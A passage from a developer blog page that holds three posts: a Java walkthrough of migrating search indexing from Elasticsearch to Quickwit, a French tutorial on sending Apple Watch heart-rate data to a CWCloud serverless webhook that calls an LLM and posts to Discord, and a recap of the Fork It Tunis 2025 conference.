LOGGER.error(String.format("[quickwit][search] Unexpected exception e.type = %s, e.msg = %s",
e.getClass().getSimpleName(),
e.getMessage()));
return null;
}
}
}

Adding an abstraction layer​

To make a smooth transition, we created two interfaces with an Elasticsearch implementation then replacing by a Quickwit implementation using dependancy injection4.

Indexing interface​

For the the writing part, here's the interface had two implementations (an Elasticsearch's one and a Quickwit's one).

import tn.prodit.network.se.indexation.adapter.IndexedDocAdapater;

import java.io.IOException;
import java.io.Serializable;

public interface IIndexer {
<T extends Serializable> void index(IndexedDocAdapater<T> adapter, String id, T document) throws IOException;

<T extends Serializable> void delete(IndexedDocAdapater<T> adapter, String id) throws IOException;
}

And here's the Quickwit implementation:

package tn.prodit.network.se.utils.singleton.indexer.impl;

import tn.prodit.network.se.indexation.adapter.IndexedDocAdapater;
import tn.prodit.network.se.pojo.IQuickwitSerializable;
import tn.prodit.network.se.utils.singleton.indexer.IIndexer;
import tn.prodit.network.se.utils.singleton.quickwit.IQuickwitService;

import jakarta.inject.Inject;
import jakarta.inject.Named;
import jakarta.inject.Singleton;

@Singleton
@Named("quickwitIndexer")
public class QuickwitIndexer implements IIndexer {
@Inject
private IQuickwitService quickwit;

@Override
public <T extends Serializable> void index(IndexedDocAdapater<T> adapter, String id, T document)
throws IOException {
quickwit.index(adapter.getIndexFullName(),
id,
document instanceof IQuickwitSerializable ? ((IQuickwitSerializable<?>) document).to()
: document);
}

@Override
public <T extends Serializable> void delete(IndexedDocAdapater<T> adapter, String id) throws IOException {
quickwit.delete(adapter.getIndexFullName(), id);
}
}

And the implementation using the quickwit client:

import tn.prodit.network.se.indexation.adapter.IndexedDocAdapater;
import tn.prodit.network.se.pojo.IQuickwitSerializable;
import tn.prodit.network.se.utils.singleton.indexer.IIndexer;
import tn.prodit.network.se.utils.singleton.quickwit.IQuickwitService;

import jakarta.inject.Inject;
import jakarta.inject.Named;
import jakarta.inject.Singleton;

@Singleton
@Named("quickwitIndexer")
public class QuickwitIndexer implements IIndexer {
@Inject
private IQuickwitService quickwit;

@Override
public <T extends Serializable> void index(IndexedDocAdapater<T> adapter, String id, T document)
throws IOException {
quickwit.index(adapter.getIndexFullName(),
id,
document instanceof IQuickwitSerializable ? ((IQuickwitSerializable<?>) document).to()
: document);
}

@Override
public <T extends Serializable> void delete(IndexedDocAdapater<T> adapter, String id)
throws IOException {
quickwit.delete(adapter.getIndexFullName(), id);
}
}

You can observe that we introduced the IQuickwitSerializable interface for value objects (VO)5 because some types are not fully supported by Vert.x and therefore cannot be serialized directly. For example, lists of nested objects are not properly handled.

Let’s imagine we have a List<SkillVO> skills, which is a nested list of objects. To address this limitation, we had to duplicate the data in the index mapping using two array<text> fields: one containing only the searchable subfields (such as name), and another preserving the full object structure so it can be unmarshalled correctly and remain interoperable.

{
"indexed": true,
"fast": true,
"name": "searchableSkills",
"type": "array<text>",
"tokenizer": "raw"
},
{
"indexed": false,
"name": "skills",
"type": "array<text>"
}

Then, on the original VO class, we had to implement the to() method of the IQuickwitSerializable interface like this:

class PersonalProfileVO implements IQuickwitSerializable<QuickwitPersonalProfile> {
private List<SkillVO> skills;

public List<SkillVO> getSkills() {
return this.skills;
}

public void setSkills(List<SkillVO> skills) {
this.skills = skills;
}

@Override
public QuickwitPersonalProfile to() {
QuickwitPersonalProfile dest = new QuickwitPersonalProfile();

if (null != this.getSkills()) {
dest.setSkills(this.getSkills().stream().map(s -> JSONUtils.objectTojsonQuietly(s, SkillVO.class)).collect(Collectors.toList()));

// we will perform the search query only on the name
dest.setSearchableSkills(this.getSkills().stream().map(s -> s.getName()).collect(Collectors.toList()));
}

return dest;
}
}

Then duplicate the VO class and implements the to() the other way arround:

class QuickwitPersonalProfile implements IQuickwitSerializable<PersonalProfileVO> {
private List<String> skills;

private List<String> searchableSkills;

public List<String> getSkills() {
return this.skills;
}

public void setSkills(List<String> skills) {
this.skills = skills;
}

public List<String> getSearchableSkills() {
return this.searchableSkills;
}

public void setSearchableSkills(List<String> searchableSkills) {
this.searchableSkills = searchableSkills;
}

@Override
public PersonalProfileVO to() {
PersonalProfileVO dest = new PersonalProfileVO();

if (null != this.getSkills()) {
dest.setSkills(this.getSkills().stream().map(s -> JSONUtils.json2objectQuietly(s, SkillVO.class)).collect(Collectors.toList()));
}

return dest;
}
}

Reading interface​

For the reading part, here's the interface which also had two implementations (an Elasticsearch's one and a Quickwit's one).

import co.elastic.clients.elasticsearch._types.SortOrder;
import co.elastic.clients.elasticsearch._types.query_dsl.BoolQuery;
import co.elastic.clients.elasticsearch.core.SearchRequest;
import co.elastic.clients.json.jackson.JacksonJsonpGenerator;
import co.elastic.clients.json.jackson.JacksonJsonpMapper;
import com.fasterxml.jackson.core.JsonFactory;
import jakarta.json.stream.JsonGenerator;
import tn.prodit.network.se.pojo.SearchResult;
import tn.prodit.network.se.pojo.fields.IFields;

public interface ISearcher {
JacksonJsonpMapper mapper = new JacksonJsonpMapper();

<T extends Serializable> SearchResult<T> search(String index,
BoolQuery query,
Optional<Sort> sort,
Integer startIndex,
Integer maxResults,
Class<T> clazz);

<T extends IFields> SearchResult<String> search(String index,
List<String> fields,
List<String> criteria,
Integer startIndex,
Integer maxResults,
Class<T> clazz);

static String toJson(SearchRequest request, JacksonJsonpMapper mapper) {
JsonFactory factory = new JsonFactory();
StringWriter jsonObjectWriter = new StringWriter();
try {
JsonGenerator generator = new JacksonJsonpGenerator(factory.createGenerator(jsonObjectWriter));
request.serialize(generator, mapper);
generator.close();
return jsonObjectWriter.toString();
} catch (IOException e) {
return null;
}
}

default JacksonJsonpMapper getMapper() {
return mapper;
}

default String toJson(BoolQuery query) {
return toJson(query, getMapper());
}
}

Notes:

  • you can override the default method getMapper() with an already instanciated mapper
  • the toJson() method will allow the Quickwit implementation to transform the SearchRequest object into a String containing json that will be sent to the _elastic endpoint

Then, the implementation for Quickwit were pretty straight forward:

import co.elastic.clients.elasticsearch._types.query_dsl.BoolQuery;
import co.elastic.clients.elasticsearch.core.SearchRequest;
import io.vertx.core.json.JsonArray;
import io.vertx.core.json.JsonObject;

import tn.prodit.network.se.pojo.IQuickwitSerializable;
import tn.prodit.network.se.pojo.SearchResult;
import tn.prodit.network.se.pojo.fields.IFields;
import tn.prodit.network.se.utils.singleton.quickwit.IQuickwitService;
import tn.prodit.network.se.utils.singleton.searcher.ISearcher;
import tn.prodit.network.se.utils.singleton.searcher.Sort;

import jakarta.inject.Inject;
import jakarta.inject.Named;
import jakarta.inject.Singleton;

import static org.apache.commons.lang3.StringUtils.isBlank;
import static tn.prodit.network.se.utils.CommonUtils.initSearchResult;
import static tn.prodit.network.se.utils.JSONUtils.json2objectQuietly;

@Singleton
@Named("quickwitSearcher")
public class QuickwitSearcher implements ISearcher {
private static final Logger LOGGER = LogManager.getLogger(QuickwitSearcher.class);

@Inject
private IQuickwitService quickwit;

private JsonObject performSearch(String index,
BoolQuery query,
Optional<Sort> sort,
Integer startIndex,
Integer maxResults) {
SearchRequest r = getSearchRequest(index, sort, startIndex, maxResults, query);
JsonObject jsonQuery = new JsonObject(toJson(r));
String quickwitResponse = quickwit.search(index, jsonQuery);

if (isBlank(quickwitResponse)) {
quickwitResponse = "{\"hits\": {\"hits\": []}}";
}

return new JsonObject(quickwitResponse);
}

@Override
public <T extends Serializable> SearchResult<T> search(String index,
BoolQuery query,
Optional<Sort> sort,
Integer startIndex,
Integer maxResults,
Class<T> clazz) {
SearchResult<T> result = initSearchResult(Long.valueOf(startIndex), Long.valueOf(maxResults));
List<T> elems = new ArrayList<>();
JsonObject quickwitResponse = performSearch(index, query, sort, startIndex, maxResults);
JsonObject hits = quickwitResponse.getJsonObject("hits");
if (null == hits) {
return result;
}

JsonArray hits2 = hits.getJsonArray("hits");
for (int i = 0; i < hits2.size(); i++) {
if (IQuickwitSerializable.class.isAssignableFrom(clazz)) {
JsonObject hit = hits2.getJsonObject(i);
if (null == hit) {
continue;
}

JsonObject source = hit.getJsonObject("_source");
if (null == source || isBlank(source.toString())) {
continue;
}

IQuickwitSerializable<?> obj = (IQuickwitSerializable<?>) json2objectQuietly(source.toString(), IQuickwitSerializable.getSerializationClazz(clazz));
elems.add((T) obj.to());
}
}

result.setResults(elems);
result.setTotalResults(Long.valueOf(elems.size()));
return result;
}
}

Few difficulties to address​

Here are some of the challenges we encountered:

  • Quickwit ain't replace documents by ID in case of updates, so queries must explicitly filter and select the most recent document version.
  • Document deletion is not as immediate as in Elasticsearch, meaning deleted profiles may still appear in search results for a short period of time.
  • Quickwit ain't support regex queries, which required us to rewrite those queries using term or match queries instead.

Conclusion​

Given the difficulties previously mentioned, it's understandable that many applications may argue that Quickwit ain't the best solution for this use case. However, in the context of uprodit, search result relevance ain't need to be perfect considering the significant infrastructure cost savings we achieved with this migration.

Footnotes​

  1. Relational Database Management System ↩

  2. Before it was acquired by datadog ↩

  3. Domain Specific Language ↩

  4. The prodit-se module was already written in Vert.x using Google Juice and JSR330 (javax.inject package) ↩

  5. Value Object ↩

Récupérer les données de son AppleWatch avec le moteur FaaS de CWCloud

· 7 minutes de lecture
Idriss Neumann
founder cwcloud.tech

Ce blogpost va nous permettre d'illustrer un cas d'utilisation concret de l'utilisation du moteur FaaS1 de CWCloud pour à la fois exposer des fonctions serverless comme webhooks publics et également montrer comment interagir avec des LLM2.

En dehors de l'IT, j'aime pratiquer réguliÚrement certains sports, notamment la course à pied ou encore le powerlifting. Depuis un certain temps, j'utilise une Apple Watch SE pour récupérer les métriques et suivre la progression, entre autres au niveau de l'endurance et du cardio.

Pour un utilisateur "non-tech", le niveau de détail et de présentation des données au cours d'un exercice est trÚs satisfaisant. Ici, vous avez par exemple le détail de ce qui se passe pendant une course : les positions GPS, le rythme cardiaque et les zones tout au long de l'exercice...

apple-activity-dashboard

La montre donne également plein d'autres données sur la qualité du sommeil, le rythme cardiaque au repos, les calories dépensées... mais il y a toujours eu un souci qui me frustre, comparé à d'autres modÚles que j'ai pu avoir par le passé comme les montres Fitbit : pas d'API et webservices pour les développeurs. Or, j'aurais bien voulu récupérer ces données pour pouvoir les traiter avec des LLM en passant par le moteur FaaS low-code de CWCloud.

Cependant, pas d'API en ligne ne signifie pas pour autant qu'il est impossible de les récupérer : on voit que beaucoup d'applications sur l'iPhone sont capables de malgré tout récupérer les données de la montre, à l'exemple de Strava, MyFitnessPal...

Ces applications passent la plupart du temps par une lecture des données directement depuis l'iPhone en utilisant le framework d'Apple HealthKit et en donnant les permissions nécessaires depuis les paramÚtres de sécurité d'Apple.

Cependant, cela demande quand mĂȘme beaucoup d'efforts pour quelqu’un qui n’est pas dĂ©veloppeur mobile iOS de devoir builder et valider une application dĂ©veloppĂ©e en Swift pour envoyer les donnĂ©es sur un webhook. J’ai cherchĂ© Ă  voir si quelqu’un d’autre n’avait pas dĂ©jĂ  fait ce travail. Et c’était effectivement le cas avec l’application Health Auto Export.

Cette application est assez mal notée, mais quand on lit les commentaires, on comprend parfaitement pourquoi : les gens n'ont pas compris à quoi elle servait. Entre autres, elle ne sert pas à faire de jolis dashboards d'agrégations statistiques, mais à exporter les données de santé d'Apple dans des formats exploitables par des développeurs (CSV ou JSON), et également à programmer des envois schedulés de ces exports vers des connecteurs externes (webhook REST/HTTP, fichiers MQTT, Dropbox...).

Dans notre cas, c’est trĂšs exactement ce qu’il nous fallait. Voici comment configurer, par exemple, un webhook HTTP pour envoyer les donnĂ©es Ă  CWCloud dans une automation qui va tourner toutes les minutes :

health-auto-export

Toutes les minutes, la fonction serverless de CWCloud va recevoir comme payload un JSON au format suivant :

{
"data" : {
"metrics" : [
{
"units" : "count\/min",
"data" : [
{
"Min" : 79,
"date" : "2025-06-30 23:17:40 +0200",
"Avg" : 79,
"Max" : 79,
"source" : "Idriss’s Apple Watch"
},
{
"Min" : 66,
"Max" : 66,
"Avg" : 66,
"source" : "Idriss’s Apple Watch",
"date" : "2025-06-30 23:23:45 +0200"
},
{
"Max" : 66,
"date" : "2025-06-30 23:26:52 +0200",
"source" : "Idriss’s Apple Watch",
"Min" : 66,
"Avg" : 66
}
],
"name" : "heart_rate"
}
]
}
}

Dans l'automation, on pourra noter que j’ai filtrĂ© uniquement la mĂ©trique heart_rate, car sinon cela pourrait en envoyer beaucoup d’autres, et pas uniquement provenant de l’Apple Watch, mais Ă©galement d’autres applications comme MyFitnessPal, qui fait le tracking de vos macros (calories, protĂ©ines, lipides, glucides, calcium, etc.) de votre alimentation. Bref, il y a vraiment de quoi faire des usecases trĂšs intĂ©ressants 😁.

Cela Ă©tant, ce payload n’est pas compatible avec le contrat d’interface de notre moteur serverless avec les endpoints classiques que nous avons documentĂ©s dans plusieurs dĂ©mos, oĂč l’on attend Ă  l’avance les paramĂštres de votre fonction.

Il existe toutefois un endpoint /v1/faas/webhook/{function_id} (ou /v1/faas/webhook/{function_id}/sync si vous souhaitez recevoir la réponse de la fonction en synchrone dans la réponse HTTP). Dans ce cas, il faut que votre fonction soit définie avec un unique argument raw_data comme ceci :

faas-raw-data-arg

Une fois que c’est fait, il devient trùs simple d’invoquer la fonction en lui passant ce que vous voulez comme body, que vous pourrez ensuite parser directement dans votre code :

$ curl "https://api.cwcloud.tech/v1/faas/webhook/ecb10330-02bf-400b-b6a8-d98107324ac3/sync" -X POST -d '{"foo":"bar"}' 2>/dev/null|jq .
{
"status": "ok",
"code": 200,
"entity": {
"id": "78774026-f75e-4c7c-850a-9b9eb2cb2ec0",
"invoker_id": 3,
"updated_at": "2025-07-05T14:39:53.119780",
"content": {
"args": [
{
"key": "raw_data",
"value": "{\"foo\":\"bar\"}"
}
],
"state": "complete",
"result": "The data is : {\"foo\":\"bar\"}\n",
"user_id": null,
"function_id": "ecb10330-02bf-400b-b6a8-d98107324ac3"
},
"created_at": "2025-07-05T14:39:52.443918"
}
}

Vous l'aurez compris, dans l'automation de l'application Health Auto Export c'est une URL au format https://api.cwcloud.tech/v1/faas/webhook/{function_id} qu'il faudra définir (pas besoin du /sync à la fin car vous n'aurez pas besoin d'attendre le résultat de l'exécution de la fonction).

Note : on a aussi exposĂ© la fonction en public pour pouvoir l’invoquer sans authentification, mais ce n’est pas forcĂ©ment ce qui est souhaitable. N’oubliez pas que vous ĂȘtes facturĂ©s aux tokens que vous consommerez dans le cas ou vous utilisez des modĂšles publics. Donc ici on le fait Ă  des fins illustratives mais vous n’allez pas forcĂ©ment vouloir que tout le monde invoque votre webhook. Vous pouvez trĂšs bien gĂ©rer cela en gardant la fonction privĂ©e et en ajoutant un header X-User-Token dans l’automation sur l’application Health Auto Export.

Maintenant qu’on sait comment crĂ©er un webhook, voici le code Blockly3 pour extraire la moyenne de votre heart rate, l’envoyer au LLM gpt4omini. Ici, on a demandĂ© au LLM de rĂ©agir avec un emoji Ă  la valeur qu’il reçoit et d’envoyer le rĂ©sultat dans Discord :

faas-blockly-heart-rate

Vous pouvez observer que je passe la phrase suivante "You're reacting with an emoji only if the heart rate is too slow or to high" comme prompt systÚme ainsi que le nombre de battements cardiaque récupérée des données de l'Apple Watch comme prompt utilisateur.

En outre, il faut savoir que les blocs AI vous obligent à vous authentifier pour pouvoir invoquer l'API CWCloud AI. Si vous voulez conserver le fait d'ouvrir ce webhook à n'importe qui il faudra créer une clef d'API en suivant ce tutoriel et en injectant cette clef dans une variable d'environnement AUTH_HEADER_VALUE comme ceci :

faas-authentication-cwai

Dans ce cas tous le monde pourra invoquer votre webhook et c'est votre compte qui sera facturĂ© Ă  la consommation si vous utilisez des modĂšles d'IA publics. Vous pouvez aussi chosir d'utiliser votre propre LLM hĂ©bergĂ© sur vos instances Ă  la place et dans ce cas cela ferait plus sens de garder le webhook public 😇.

Il faut également savoir que si la variable AUTH_HEADER_VALUE est définie, elle est prise en priorité sur l'authentification lorsque vous invoquez le webhook de façon authentifiée.

On peut Ă©galement remarquer dans la capture d'Ă©cran prĂ©cĂ©dant qu'un webhook pour Discord a Ă©tĂ© dĂ©fini dans une autre variable d'environnement DISCORD_WEBHOOK_URL afin d'ĂȘtre utilisĂ© pour envoyer la rĂ©ponse du LLM dans Discord, et voici le rĂ©sultat :

faas-discord-heart-rate

On peut voir que jusqu'ici tout va bien cĂŽtĂ© cardio, rien Ă  signaler 😅

Footnotes​

  1. Function as a Service ↩

  2. Large Language Model ↩

  3. Blockly est le langage low-code qu'on utilise dans CWCloud ↩

Fork It Tunis 2025, résumé de la journée

· 2 minutes de lecture
Idriss Neumann
founder cwcloud.tech

On l'a fait ! Tunis đŸ‡č🇳 a enfin eu sa journĂ©e de confĂ©rence orientĂ©e pour les dĂ©veloppeurs Ă  la citĂ© de la culture le 5 avril.

forkit-tn-2025-hall

Comme annoncé dans un précédent blogpost, nous avions monté un trÚs beau stand dans le but de challenger les conférenciers avec un concours IA, serverless et IoT et on a eu beaucoup de participant(e)s.

forkit-tn-2025-cwcloud-booth

Félicitons encore nos gagnant(e)s: Zayneb, Ala Eddine et Yassmine1!

forkit-tn-2025-winners

Le code source de la démo est disponible sur github et si vous voulez plus d'explications, vous pouvez visionner cette courte vidéo :

J'ai Ă©galement eu la chance d'avoir la scĂšne pour parler de Quickwit, Grafana et OpenTelemetry avec une autre dĂ©mo. Il Ă©tait prĂ©vu de le faire en anglais mais finalement le public a prĂ©fĂ©rĂ© la langue de moliĂšre. Je m'excuse pour les personnes qui auraient souhaitĂ© le voir en anglais, il y aura d'autres occasions 😅.

forkit-tn-2025-talk-quickwit

Il y aura un replay, les slides et supports sont disponibles sur github également et si vous souhaitez en apprendre davantage, vous pouvez également lire ce blogpost.

J'ai également pu assister à la keynote trÚs inspirante "how do you learn" d'Olivier et Sonyth Huber et vous recommande de visionner le replay lorsqu'il sera publié.

Et pour finir, j'ai également pu faire visiter Sidi Bou Saïd à mon ami speaker Yacine, la plus belle place de la région de Tunis. Yacine qui a également donné un super talk sur comment il a réussi à porter Doom sur navigateur en utilisant WASM, une merveilleuse technologie.

forkit-tn-2025-sidibou

Si vous souhaitez garder le contact, en particulier si vous avez apprécié les démo et le challenge de CWCloud, nous avons un serveur discord communautaire que vous pouvez rejoindre.

Les prochaines confĂ©rences auxquelles j'assisterai seront DevoxxFR comme visiteur, SunnyTech et RivieraDev en tant que speaker. J'espĂšre vous y voir nombreux(se)s comme d'habitude đŸ€©.

Footnotes​

  1. Yassmine n'a pas pu rester pour recevoir son cadeau donc son ami l'a pris Ă  sa place 😅. ↩